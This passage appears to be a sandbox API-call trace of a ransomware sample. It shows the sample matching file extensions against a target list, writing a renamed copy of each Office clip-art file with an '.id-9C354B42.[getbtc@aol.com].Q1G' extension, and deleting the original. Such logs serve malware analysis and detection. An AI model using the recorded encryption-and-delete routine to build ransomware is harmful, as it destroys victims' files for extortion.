Office\\CLIPART\\PUB60COR\\J0152626.WMF") returned 63 [0262.904] lstrlenW (lpString=".doc") returned 4 [0262.904] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.904] lstrlenW (lpString=".docx") returned 5 [0262.904] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0262.904] lstrlenW (lpString=".pdf") returned 4 [0262.904] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.904] lstrlenW (lpString=".xls") returned 4 [0262.904] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.904] lstrlenW (lpString=".xlsx") returned 5 [0262.904] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0262.904] lstrlenW (lpString=".ppt") returned 4 [0262.904] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF") returned 63 [0262.904] lstrlenW (lpString=".zip") returned 4 [0262.904] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.904] lstrlenW (lpString=".rar") returned 4 [0262.904] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.904] lstrlenW (lpString=".bz2") returned 4 [0262.904] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.904] lstrlenW (lpString=".7z") returned 3 [0262.904] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF") returned 63 [0262.904] lstrlenW (lpString=".dbf") returned 4 [0262.905] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF") returned 63 [0262.905] lstrlenW (lpString=".1cd") returned 4 [0262.905] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF") returned 63 [0262.905] lstrlenW (lpString=".jpg") returned 4 [0262.905] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF") returned 63 [0262.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF") returned 63 [0262.905] lstrlenW (lpString=".doc") returned 4 [0262.905] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.905] lstrlenW (lpString=".docx") returned 5 [0262.905] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0262.905] lstrlenW (lpString=".pdf") returned 4 [0262.905] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.905] lstrlenW (lpString=".xls") returned 4 [0262.905] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.905] lstrlenW (lpString=".xlsx") returned 5 [0262.905] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0262.905] lstrlenW (lpString=".ppt") returned 4 [0262.905] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF") returned 63 [0262.905] lstrlenW (lpString=".zip") returned 4 [0262.905] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.905] lstrlenW (lpString=".rar") returned 4 [0262.905] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.905] lstrlenW (lpString=".bz2") returned 4 [0262.905] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.905] lstrlenW (lpString=".7z") returned 3 [0262.905] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF") returned 63 [0262.905] lstrlenW (lpString=".dbf") returned 4 [0262.905] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF") returned 63 [0262.905] lstrlenW (lpString=".1cd") returned 4 [0262.905] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF") returned 63 [0262.906] lstrlenW (lpString=".jpg") returned 4 [0262.906] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.906] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0262.906] lstrlenW (lpString="J0152702.WMF") returned 12 [0262.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152702.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0262.917] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=1208) returned 1 [0262.917] CloseHandle (hObject=0x3a0) returned 1 [0262.917] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152702.wmf")) returned 0x20 [0262.961] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152702.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0262.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152702.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0262.962] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.962] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152702.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0262.963] GetLastError () returned 0x0 [0262.963] ReadFile (in: hFile=0x1c0, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x4b8, lpOverlapped=0x0) returned 1 [0262.967] WriteFile (in: hFile=0x3dc, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x4c0, lpOverlapped=0x0) returned 1 [0262.968] ReadFile (in: hFile=0x1c0, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0262.968] WriteFile (in: hFile=0x3dc, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0262.968] SetEndOfFile (hFile=0x3dc) returned 1 [0262.968] CloseHandle (hObject=0x3dc) returned 1 [0262.968] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.968] SetEndOfFile (hFile=0x1c0) returned 1 [0262.970] CloseHandle (hObject=0x1c0) returned 1 [0262.970] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0262.971] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152702.wmf")) returned 1 [0262.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF") returned 63 [0262.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF") returned 63 [0262.971] lstrlenW (lpString=".doc") returned 4 [0262.971] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.971] lstrlenW (lpString=".docx") returned 5 [0262.971] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0262.971] lstrlenW (lpString=".pdf") returned 4 [0262.971] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.972] lstrlenW (lpString=".xls") returned 4 [0262.972] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.972] lstrlenW (lpString=".xlsx") returned 5 [0262.972] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0262.972] lstrlenW (lpString=".ppt") returned 4 [0262.972] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF") returned 63 [0262.972] lstrlenW (lpString=".zip") returned 4 [0262.972] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.972] lstrlenW (lpString=".rar") returned 4 [0262.972] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.972] lstrlenW (lpString=".bz2") returned 4 [0262.972] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.972] lstrlenW (lpString=".7z") returned 3 [0262.972] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF") returned 63 [0262.972] lstrlenW (lpString=".dbf") returned 4 [0262.972] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF") returned 63 [0262.972] lstrlenW (lpString=".1cd") returned 4 [0262.972] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF") returned 63 [0262.972] lstrlenW (lpString=".jpg") returned 4 [0262.972] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF") returned 63 [0262.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF") returned 63 [0262.972] lstrlenW (lpString=".doc") returned 4 [0262.972] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.972] lstrlenW (lpString=".docx") returned 5 [0262.972] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0262.972] lstrlenW (lpString=".pdf") returned 4 [0262.972] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.972] lstrlenW (lpString=".xls") returned 4 [0262.972] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.972] lstrlenW (lpString=".xlsx") returned 5 [0262.973] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0262.973] lstrlenW (lpString=".ppt") returned 4 [0262.973] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF") returned 63 [0262.973] lstrlenW (lpString=".zip") returned 4 [0262.973] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.973] lstrlenW (lpString=".rar") returned 4 [0262.973] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.973] lstrlenW (lpString=".bz2") returned 4 [0262.973] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.973] lstrlenW (lpString=".7z") returned 3 [0262.973] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF") returned 63 [0262.973] lstrlenW (lpString=".dbf") returned 4 [0262.973] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF") returned 63 [0262.973] lstrlenW (lpString=".1cd") returned 4 [0262.973] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF") returned 63 [0262.973] lstrlenW (lpString=".jpg") returned 4 [0262.973] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.973] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0262.973] lstrlenW (lpString="J0152876.WMF") returned 12 [0262.973] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152876.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0262.981] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=7876) returned 1 [0262.981] CloseHandle (hObject=0x3a8) returned 1 [0262.981] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152876.wmf")) returned 0x20 [0263.008] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152876.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0263.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152876.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0263.009] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.009] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.009] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152876.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0263.009] GetLastError () returned 0x0 [0263.009] ReadFile (in: hFile=0x1c0, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x1ec4, lpOverlapped=0x0) returned 1 [0263.042] WriteFile (in: hFile=0x3dc, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x1ed0, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x1ed0, lpOverlapped=0x0) returned 1 [0263.043] ReadFile (in: hFile=0x1c0, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0263.043] WriteFile (in: hFile=0x3dc, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0263.043] SetEndOfFile (hFile=0x3dc) returned 1 [0263.043] CloseHandle (hObject=0x3dc) returned 1 [0263.043] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.043] SetEndOfFile (hFile=0x1c0) returned 1 [0263.045] CloseHandle (hObject=0x1c0) returned 1 [0263.045] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0263.045] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152876.wmf")) returned 1 [0263.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF") returned 63 [0263.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF") returned 63 [0263.046] lstrlenW (lpString=".doc") returned 4 [0263.046] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.046] lstrlenW (lpString=".docx") returned 5 [0263.046] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0263.046] lstrlenW (lpString=".pdf") returned 4 [0263.046] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.046] lstrlenW (lpString=".xls") returned 4 [0263.046] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.046] lstrlenW (lpString=".xlsx") returned 5 [0263.046] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0263.046] lstrlenW (lpString=".ppt") returned 4 [0263.046] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF") returned 63 [0263.046] lstrlenW (lpString=".zip") returned 4 [0263.046] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.046] lstrlenW (lpString=".rar") returned 4 [0263.046] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.046] lstrlenW (lpString=".bz2") returned 4 [0263.046] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.046] lstrlenW (lpString=".7z") returned 3 [0263.046] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF") returned 63 [0263.046] lstrlenW (lpString=".dbf") returned 4 [0263.047] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF") returned 63 [0263.047] lstrlenW (lpString=".1cd") returned 4 [0263.047] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF") returned 63 [0263.047] lstrlenW (lpString=".jpg") returned 4 [0263.047] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF") returned 63 [0263.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF") returned 63 [0263.047] lstrlenW (lpString=".doc") returned 4 [0263.047] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.047] lstrlenW (lpString=".docx") returned 5 [0263.047] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0263.047] lstrlenW (lpString=".pdf") returned 4 [0263.047] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.047] lstrlenW (lpString=".xls") returned 4 [0263.047] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.047] lstrlenW (lpString=".xlsx") returned 5 [0263.047] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0263.047] lstrlenW (lpString=".ppt") returned 4 [0263.047] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF") returned 63 [0263.047] lstrlenW (lpString=".zip") returned 4 [0263.047] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.047] lstrlenW (lpString=".rar") returned 4 [0263.047] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.047] lstrlenW (lpString=".bz2") returned 4 [0263.047] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.047] lstrlenW (lpString=".7z") returned 3 [0263.047] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF") returned 63 [0263.047] lstrlenW (lpString=".dbf") returned 4 [0263.047] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF") returned 63 [0263.047] lstrlenW (lpString=".1cd") returned 4 [0263.048] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF") returned 63 [0263.048] lstrlenW (lpString=".jpg") returned 4 [0263.048] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.048] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0263.048] lstrlenW (lpString="J0152890.WMF") returned 12 [0263.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152890.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0263.056] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=1940) returned 1 [0263.056] CloseHandle (hObject=0x1bc) returned 1 [0263.056] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152890.wmf")) returned 0x20 [0263.056] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152890.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0263.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152890.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0263.057] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.057] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152890.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0263.058] GetLastError () returned 0x0 [0263.058] ReadFile (in: hFile=0x1bc, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x794, lpOverlapped=0x0) returned 1 [0263.062] WriteFile (in: hFile=0x3e0, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x7a0, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x7a0, lpOverlapped=0x0) returned 1 [0263.063] ReadFile (in: hFile=0x1bc, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0263.063] WriteFile (in: hFile=0x3e0, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0263.063] SetEndOfFile (hFile=0x3e0) returned 1 [0263.063] CloseHandle (hObject=0x3e0) returned 1 [0263.063] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.063] SetEndOfFile (hFile=0x1bc) returned 1 [0263.065] CloseHandle (hObject=0x1bc) returned 1 [0263.065] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0263.065] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152890.wmf")) returned 1 [0263.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF") returned 63 [0263.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF") returned 63 [0263.066] lstrlenW (lpString=".doc") returned 4 [0263.066] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.066] lstrlenW (lpString=".docx") returned 5 [0263.066] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0263.066] lstrlenW (lpString=".pdf") returned 4 [0263.066] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.066] lstrlenW (lpString=".xls") returned 4 [0263.066] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.066] lstrlenW (lpString=".xlsx") returned 5 [0263.066] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0263.066] lstrlenW (lpString=".ppt") returned 4 [0263.066] lstrcmpiW 